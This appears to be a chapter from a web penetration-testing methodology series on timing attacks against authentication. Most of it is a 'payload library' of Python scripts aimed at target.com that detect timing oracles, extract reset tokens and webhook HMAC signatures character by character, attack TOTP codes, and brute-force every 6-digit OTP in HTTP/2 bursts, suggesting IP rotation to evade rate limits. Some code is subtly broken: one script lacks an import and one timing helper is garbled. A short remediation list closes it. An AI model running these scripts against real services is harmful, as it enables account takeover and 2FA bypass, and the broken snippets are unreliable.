Timing Attacks on Authentication

Severity: Medium–High | CWE: CWE-208, CWE-385 OWASP: A02:2021 – Cryptographic Failures | A07:2021 – Identification and Authentication Failures


What Are Timing Attacks?

Timing attacks exploit measurable differences in processing time to infer secret information — whether a guess is correct, whether a user exists, or whether a token matches. The root cause is non-constant-time comparison: == short-circuits on the first mismatch, so comparing "AAAA" == "AAAB" takes longer than "AAAA" == "ZZZZ" because the mismatch occurs later in the first case.

String comparison (naive ==):
  "token1234" vs "token1235" → compares 8 chars, fails at char 9 → takes t₈ time
  "token1234" vs "XXXXXXXXX" → compares 1 char, fails at char 1 → takes t₁ time
  t₈ > t₁ → timing oracle reveals prefix "token123" is correct up to char 8

In web applications, network jitter usually dominates — but with sufficient samples and statistical analysis, differences of 100μs–1ms are detectable over internet links. Local networks or same-datacenter attacks can resolve differences of 10μs.

Attack targets: HMAC validation, API key comparison, password reset token validation, OTP/2FA code comparison, secret key comparison in JWT HS256 verification.


Discovery Checklist

Phase 1 — Identify Timing-Sensitive Comparisons

  • Password reset token validation endpoint — vary token character by character
  • HMAC/signature validation on webhooks — vary one byte at a time
  • API key authentication — test keys with increasing correct prefixes
  • OTP/TOTP code comparison — does correct prefix take longer?
  • License key / serial number validation
  • Custom authentication tokens (not JWT/bcrypt — those are designed for timing safety)

Phase 2 — Measure Baseline and Signal

  • Send ≥50 requests with fully incorrect token → measure distribution
  • Send ≥50 requests with correct prefix (1 char) → measure distribution
  • Test if distributions are statistically distinguishable (Mann-Whitney U test)
  • Test over multiple measurement sessions to confirm reproducibility
  • Check if server adds any artificial delay (sleep/jitter) — that may mask timing

Phase 3 — Exploit via Oracle

  • Build character-by-character oracle if timing is detectable
  • Exploit username enumeration via timing (see Chapter 37)
  • Exploit HMAC bypass via timing with HTTP/2 single-packet attack (reduces network jitter)

Payload Library

Payload 1 — Timing Oracle Detection

#!/usr/bin/env python3
"""
Timing attack feasibility test
Measures time for matching vs non-matching token prefixes
"""
import requests, time, statistics, json, sys

TARGET = "https://target.com/api/reset/verify"

def measure_token(token, n=50):
    """Send n requests with given token and return timing statistics"""
    times = []
    for _ in range(n):
        t0 = time.monotonic()
        try:
            requests.post(TARGET,
                         headers={"Content-Type": "application/json"},
                         json={"token": token, "password": "NewPass123!"},
                         timeout=10)
        except: pass
        times.append((time.monotonic() - t0) * 1000)
    times.sort()
    # Trim top/bottom 10% to remove outliers:
    trim = max(1, len(times) // 10)
    trimmed = times[trim:-trim]
    return {
        "token": token[:10] + "...",
        "median": statistics.median(trimmed),
        "mean": statistics.mean(trimmed),
        "stdev": statistics.stdev(trimmed) if len(trimmed) > 1 else 0,
        "raw": trimmed,
    }

# Known invalid token (baseline — wrong from first byte):
invalid = measure_token("XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX")
print(f"[Baseline] Invalid: {invalid['median']:.2f}ms ±{invalid['stdev']:.2f}ms")

# Token with correct prefix (assuming you leaked partial token via other vuln):
# Or: if you have a valid token, test what happens when last char changes:
# partially_correct = "abc123" + "X" * 26  # correct first 6 chars
# partially_correct_2 = "abc124" + "X" * 26  # wrong from char 6

# For demonstration — compare all-same vs last-different:
token_a = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"  # all wrong
token_b = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB"  # wrong except last differs
token_c = "BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"  # wrong from first char

result_a = measure_token(token_a)
result_b = measure_token(token_b)
result_c = measure_token(token_c)

print(f"[A] All same char:          {result_a['median']:.2f}ms ±{result_a['stdev']:.2f}ms")
print(f"[B] Diff at last position:  {result_b['median']:.2f}ms ±{result_b['stdev']:.2f}ms")
print(f"[C] Diff at first position: {result_c['median']:.2f}ms ±{result_c['stdev']:.2f}ms")

# Statistical significance test:
from scipy import stats
# Mann-Whitney U test — non-parametric, doesn't assume normal distribution:
try:
    from scipy.stats import mannwhitneyu
    u, p = mannwhitneyu(result_a['raw'], result_c['raw'], alternative='two-sided')
    print(f"\n[Statistics] Mann-Whitney U={u:.0f}, p={p:.6f}")
    if p < 0.05:
        print("[!!!] Statistically significant timing difference detected! Timing oracle likely.")
    else:
        print("[*] No significant difference — may still exist with more samples or HTTP/2")
except ImportError:
    print("[*] Install scipy for statistical testing: pip3 install scipy")

Payload 2 — Character-by-Character Oracle Attack

#!/usr/bin/env python3
"""
Character-by-character timing oracle token extraction
Prerequisite: confirmed timing difference of >0.5ms per character position
"""
import requests, time, statistics, string, json

TARGET = "https://target.com/api/token/verify"
TOKEN_LENGTH = 32  # known or guessed
CHARSET = string.ascii_lowercase + string.digits  # adjust to token charset
SAMPLES = 30  # requests per candidate
PADDING = 'x'  # padding char

def probe(token, samples=SAMPLES):
    """Probe a specific token value, return median time"""
    times = []
    for _ in range(samples):
        t0 = time.monotonic()
        try:
            r = requests.post(TARGET, json={"token": token}, timeout=10)
        except: pass
        times.append((time.monotonic() - t0) * 1000)
    times.sort()
    trim = max(1, len(times) // 10)
    return statistics.median(times[trim:-trim])

def extract_token():
    known = ""
    print(f"[*] Extracting token of length {TOKEN_LENGTH}")
    print(f"[*] Charset: {CHARSET}")
    print(f"[*] Samples per probe: {SAMPLES}\n")

    for position in range(TOKEN_LENGTH):
        results = {}
        for char in CHARSET:
            # Candidate: known prefix + test char + padding
            candidate = known + char + PADDING * (TOKEN_LENGTH - len(known) - 1)
            t = probe(candidate)
            results[char] = t

        # Best char = the one that takes longest (comparison reached this position):
        best_char = max(results, key=results.get)
        best_time = results[best_char]

        # Confidence: difference between best and second-best:
        sorted_times = sorted(results.values(), reverse=True)
        confidence = sorted_times[0] - sorted_times[1] if len(sorted_times) > 1 else 0

        known += best_char
        print(f"Position {position+1:02d}: '{best_char}' "
              f"({best_time:.2f}ms, +{confidence:.2f}ms over next) → {known}")

    print(f"\n[+] Extracted token: {known}")
    return known

# Note: requires measurable timing difference.
# For internet targets, use HTTP/2 to reduce jitter (see Payload 4).
result = extract_token()

Payload 3 — HMAC Timing Attack on Webhooks

#!/usr/bin/env python3
"""
Timing attack on webhook HMAC signature validation
Many webhook handlers compare signatures with ==
"""
import requests, time, statistics, hmac, hashlib, string

# Target: validates HMAC-SHA256 of body, signature in header
TARGET = "https://target.com/webhooks/receive"
BODY = b'{"event":"test","data":"value"}'  # fixed body for reproducible HMAC

def probe_webhook(signature, body=BODY, samples=40):
    """Send webhook request with given signature, measure response time"""
    times = []
    for _ in range(samples):
        t0 = time.monotonic()
        requests.post(TARGET,
                     headers={"X-Hub-Signature-256": f"sha256={signature}"},
                     data=body, timeout=10)
        times.append((time.monotonic() - t0) * 1000)
    times.sort()
    trim = max(1, len(times) // 10)
    return statistics.median(times[trim:-trim])

# HMAC-SHA256 signature is 64 hex chars
CHARSET = "0123456789abcdef"
SIG_LENGTH = 64

def extract_hmac():
    known = ""
    print("[*] Extracting HMAC signature via timing oracle")

    for pos in range(SIG_LENGTH):
        results = {}
        for char in CHARSET:
            candidate = known + char + "0" * (SIG_LENGTH - len(known) - 1)
            t = probe_webhook(candidate)
            results[char] = t
            sys.stdout.write(f"\r[pos {pos+1}] Testing '{char}': {t:.1f}ms")
            sys.stdout.flush()

        best = max(results, key=results.get)
        known += best
        print(f"\n[pos {pos+1}] Best: '{best}' → {known}")

    return known

# In practice: this only works cleanly on local/same-DC networks.
# Over internet: supplement with Turbo Intruder / HTTP/2 single-packet attack.

Payload 4 — HTTP/2 Single-Packet Timing (Reduce Jitter)

#!/usr/bin/env python3
"""
HTTP/2 single-packet attack for timing measurements
Sends multiple requests in a single TCP packet → server processes simultaneously
→ eliminates most network jitter → better timing measurements
"""
import httpx, asyncio, time, statistics

TARGET = "https://target.com/api/token/verify"

async def concurrent_probe(tokens: list[str]) -> dict[str, float]:
    """
    Send all token probes simultaneously via HTTP/2 multiplexing
    → server processes them concurrently → relative timing more accurate
    """
    results = {}
    async with httpx.AsyncClient(http2=True) as client:
        # Create tasks for all tokens simultaneously:
        tasks = []
        for token in tokens:
            tasks.append(
                client.post(TARGET,
                           json={"token": token},
                           headers={"Content-Type": "application/json"})
            )

        # Send all requests in same TCP window:
        times_before = time.monotonic()
        responses = await asyncio.gather(*tasks, return_exceptions=True)
        total = time.monotonic() - times_before

        # Parse individual response timing from headers (if server provides X-Response-Time):
        for token, resp in zip(tokens, responses):
            if isinstance(resp, Exception):
                results[token] = float('inf')
            elif hasattr(resp, 'headers') and 'x-response-time' in resp.headers:
                results[token] = float(resp.headers['x-response-time'])
            else:
                # Fall back to rough estimate based on position in batch
                results[token] = 0  # can't distinguish without server-side timing

    return results

async def h2_oracle_attack():
    """Character-by-character extraction using HTTP/2 batch probing"""
    import string
    CHARSET = string.ascii_lowercase + string.digits
    TOKEN_LEN = 32
    known = ""

    for position in range(TOKEN_LEN):
        # Build batch of all candidate tokens:
        candidates = {
            char: known + char + "x" * (TOKEN_LEN - len(known) - 1)
            for char in CHARSET
        }

        # Run multiple rounds:
        round_results = {char: [] for char in CHARSET}
        for _ in range(10):  # 10 rounds
            token_list = list(candidates.values())
            timings = await concurrent_probe(token_list)
            for char, token in candidates.items():
                if token in timings:
                    round_results[char].append(timings[token])

        # Median timing per character:
        medians = {char: statistics.median(times) if times else float('inf')
                   for char, times in round_results.items()}

        best_char = max(medians, key=medians.get)
        known += best_char
        print(f"[pos {position+1}] → '{best_char}' | {known}")

asyncio.run(h2_oracle_attack())

Payload 5 — OTP / TOTP Timing Attack

#!/usr/bin/env python3
"""
TOTP 2FA timing attack — detect correct code via timing
Note: only works if server compares OTP as string, not using constant-time comparison
TOTP codes are 6 digits, giving 1,000,000 possibilities — timing oracle speeds this up
"""
import requests, time, statistics

TARGET = "https://target.com/api/auth/verify-otp"
SESSION_TOKEN = "USER_SESSION_AFTER_PASSWORD"  # post-password, pre-2FA token

def probe_otp(code: str, samples=20):
    """Probe OTP code, return median response time"""
    times = []
    for _ in range(samples):
        t0 = time.monotonic()
        requests.post(TARGET,
                     headers={"Authorization": f"Bearer {SESSION_TOKEN}",
                              "Content-Type": "application/json"},
                     json={"otp": code},
                     timeout=10)
        times.append((time.monotonic() - t0) * 1000)
    times.sort()
    return statistics.median(times[2:-2])  # trim extreme values

# TOTP is time-based with ±30 second windows — only 2-3 valid codes at any time
# Timing attack on digit-by-digit comparison:
# Correct first digit → comparison reaches second digit → slightly longer

# Batch test all first-digit options:
print("[*] Testing first digit (0-9)...")
results = {}
for d in range(10):
    code = str(d) + "00000"  # test each leading digit
    t = probe_otp(code, samples=30)
    results[d] = t
    print(f"  Digit {d}: {t:.2f}ms")

best_first = max(results, key=results.get)
print(f"\n[*] Likely first digit: {best_first}")

# Continue for each subsequent digit... but in practice:
# TOTP windows rotate every 30s — need to complete extraction within window
# Full 6-digit oracle: 6 * 10 * 30 samples = 1800 requests max in 30s window
# → need fast network and low latency
# → more practical: combine with rate limit bypass (IP rotation)

Payload 6 — Race Condition + Timing Combination

#!/usr/bin/env python3
"""
Combine timing oracle with race condition for OTP bypass
Send all 6-digit combinations simultaneously in HTTP/2 burst
"""
import httpx, asyncio, itertools

TARGET = "https://target.com/api/verify-otp"
SESSION = "SESSION_TOKEN_HERE"

async def burst_otp_guess(prefix: str, depth: int = 6):
    """
    Send all possible OTP values with given prefix simultaneously
    Faster than sequential — takes one server response window
    """
    async with httpx.AsyncClient(http2=True) as client:
        # Generate all completions of prefix:
        suffix_len = depth - len(prefix)
        suffixes = [''.join(s) for s in itertools.product('0123456789', repeat=suffix_len)]
        codes = [prefix + s for s in suffixes]

        # Split into batches (HTTP/2 has stream limits per connection):
        batch_size = 100
        for i in range(0, len(codes), batch_size):
            batch = codes[i:i+batch_size]
            tasks = [
                client.post(TARGET,
                           headers={"Authorization": f"Bearer {SESSION}",
                                    "Content-Type": "application/json"},
                           json={"otp": code})
                for code in batch
            ]
            responses = await asyncio.gather(*tasks, return_exceptions=True)
            for code, resp in zip(batch, responses):
                if not isinstance(resp, Exception) and resp.status_code == 200:
                    print(f"[!!!] Valid OTP found: {code}")
                    return code
        return None

# Brute force all 6-digit OTPs in ~10 batches of 100:
# (Only if no rate limiting — combine with IP rotation if rate limited)
asyncio.run(burst_otp_guess("", depth=6))

Tools

# Turbo Intruder (Burp extension) — high-precision timing measurement:
# Use the "timing" attack type in Turbo Intruder
# Script example (Python in Turbo Intruder):
# def queueRequests(target, wordlists):
#     engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=1,
#                           requestsPerConnection=1000, pipeline=False)
#     for word in wordlists[0]:
#         engine.queue(target.req, word.rstrip())
# def handleResponse(req, interesting):
#     table.add(req)  # add response time to table for analysis

# httpx with HTTP/2 support:
pip3 install httpx[http2]

# scipy for statistical analysis:
pip3 install scipy

# wrk / hey — high-throughput timing measurement:
hey -n 1000 -c 10 -m POST \
  -H "Content-Type: application/json" \
  -d '{"token":"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}' \
  https://target.com/api/verify

# Python requests timing helper:
python3 << 'EOF'
import requests, time, statistics

def benchmark(url, payload, n=100):
    times = [
        (lambda t0: (time.monotonic() - t0) * 1000)(
            (lambda: time.monotonic())()
        ) if False else  # walrus trick for inline timing
        (lambda: [
            time.monotonic(),
            requests.post(url, json=payload, timeout=10),
        ])()
        for _ in range(n)
    ]
# Simpler version:
def benchmark2(url, payload, n=100):
    times = []
    for _ in range(n):
        t0 = time.monotonic()
        requests.post(url, json=payload, timeout=10)
        times.append((time.monotonic() - t0) * 1000)
    times.sort()
    return statistics.median(times[n//10:-n//10])

t1 = benchmark2("https://target.com/verify", {"token": "AAAA"})
t2 = benchmark2("https://target.com/verify", {"token": "ZZZZ"})
print(f"AAAA: {t1:.2f}ms, ZZZZ: {t2:.2f}ms, diff: {t1-t2:.2f}ms")
EOF

# For local/same-network timing (more precise):
# Use clock_gettime(CLOCK_MONOTONIC_RAW) — not affected by NTP adjustments
# Python: time.monotonic() uses CLOCK_MONOTONIC — sufficient for millisecond differences
# For microsecond precision: use C extension or perf_counter_ns()
python3 -c "import time; print(time.perf_counter_ns())"

Remediation Reference

  • Constant-time comparison: use hmac.compare_digest() in Python, hash_equals() in PHP, crypto.timingSafeEqual() in Node.js — never use == or === for secrets
  • Consistent hashing for unknown users: always compute a bcrypt/Argon2 hash even when the user is not found — use a dummy hash to normalize response time
  • Artificial jitter: add a small random sleep (0–50ms) before returning authentication responses — makes timing measurements noisier, though not a fix alone
  • Limit measurement opportunities: strict rate limiting on authentication endpoints (login, token verify, OTP) — 5–10 attempts per minute per IP
  • Short-lived tokens: OTP codes with 30–60 second windows limit the oracle window — implement strict time-based token invalidation
  • HMAC validation: use hmac.compare_digest() and validate the full HMAC in one constant-time call — don’t early-exit on length mismatch before the comparison
  • HTTP/2 considerations: single-packet attacks reduce network jitter on HTTP/2 — timing-safe code is essential regardless of transport

Part of the Web Application Penetration Testing Methodology series.